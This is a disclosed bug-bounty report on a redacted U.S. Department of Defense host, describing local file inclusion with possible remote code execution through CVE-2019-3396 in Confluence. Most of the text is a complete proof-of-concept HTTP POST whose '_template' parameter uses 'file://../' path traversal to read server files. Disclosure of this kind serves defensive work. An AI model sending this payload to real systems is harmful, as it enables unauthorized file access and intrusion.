U.S. Dept Of Defense · Report #538771
LFI with potential to RCE on ██████ using CVE-2019-3396
Validstatus
highseverity
58upvotes
4 Oct 2019disclosed
How it was found
#POC
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: ██████
Content-Type: application/json
Content-Length: 174
{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=wHEHYJpCkpg","width":"300","height":"200","_template":"file://../"}}}
Thanks, Ben